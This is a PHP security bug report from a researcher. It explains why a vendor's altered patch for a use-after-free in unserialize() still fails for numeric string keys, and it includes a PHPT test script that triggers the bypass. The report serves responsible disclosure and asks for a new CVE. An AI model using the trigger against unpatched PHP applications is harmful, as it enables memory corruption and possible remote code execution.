Description:
------------
Reported by [email protected]:

Hi,

today I wanted to write a write up of the use after free vulnerability
in unserialize() that was fixed last month. Remember: I reported it on
2nd December, sent in a patch on 10th December, because Julien Pauli
asked for one. You later released updates. Unfortunately around that
time I was too busy to actually look into what you released and in a way
I thought it would be not necessary, because I sent in the correct patch.

However today I see that you changed my patch. Instead of using my
correct patch, you applied the following wrong patch.

        } else {
            /* object properties should include no integers */
            convert_to_string(key);
            if (zend_symtable_find(ht, Z_STRVAL_P(key), Z_STRLEN_P(key)
+ 1, (void **)&old_data)==SUCCESS) {
                var_push_dtor(var_hash, old_data);
            }
            zend_hash_update(ht, Z_STRVAL_P(key), Z_STRLEN_P(key) + 1,
&data,
                    sizeof data, NULL);
        }

There is a small but important difference to the patch I sent on 10th
December. You use zend_symtable_find instead of zend_hash_find from my
patch. Because of this change the fix is incomplete. It now detects
attacks that try to replace a key like "AAA", but it does not fix
attacks where the key is a numerical string like "123".

The reason for this is that we do not want integer keys in objects. That
is why the code was added in the first place. The object properties are
therefore inserted via zend_hash_update, instead of
zend_symtable_update. Therefore something like "123" will be inserted as
a string and not as a numerical 123. On the attempt to do the overwrite
attack you now check with zend_symtable_find(). This function will turn
the "123" into a numerical "123" and therefore not see that it is
already there. The protection will not be executed and therefore the
attack works in the same way as before.

Here is the updated diff that shows how the code is still vulnerable to
a slightly modified form of the attack:

--TEST--
Bug #XXXXX Use after free vulnerability in unserialize() (bypassing the
CVE-2014-8142 fix)
--FILE--
<?php
for ($i=4; $i<100; $i++) {
    $m = new StdClass();

    $u = array(1);

    $m->aaa = array(1,2,&$u,4,5);
    $m->bbb = 1;
    $m->ccc = &$u;
    $m->ddd = str_repeat("A", $i);

    $z = serialize($m);
    $z = str_replace("aaa", "123", $z);
    $z = str_replace("bbb", "123", $z);
    $y = unserialize($z);
    $z = serialize($y);
}
?>
===DONE===
--EXPECTF--
===DONE===

Please advice me of the new CVE for the previously incorrectly fixed
problem and a proposed timeframe for disclosure.

PS: I also advice educating the RedHat people, who get this information
forwarded so that they understand the seriousness of remote code
execution in unserialize(). Just because the manual says: bad idea does
not make it go away. Wordpress does still in 2015 unserialize() data
they pull over the network from their server. (Okay if possible they use
SSL for that, but we know for 1-2 years now that there are a bunch of
attackers capable of doing SSL MITM in the wild - nation state or just
another broken in-CA). And Wordpress is just one of so many examples.
Especially if you go away from OpenSource Code and look at all the
self-made websites/self-made CMSes that we see when auditing real world
code.

Kind regards and a productive 2015,
Stefan Esser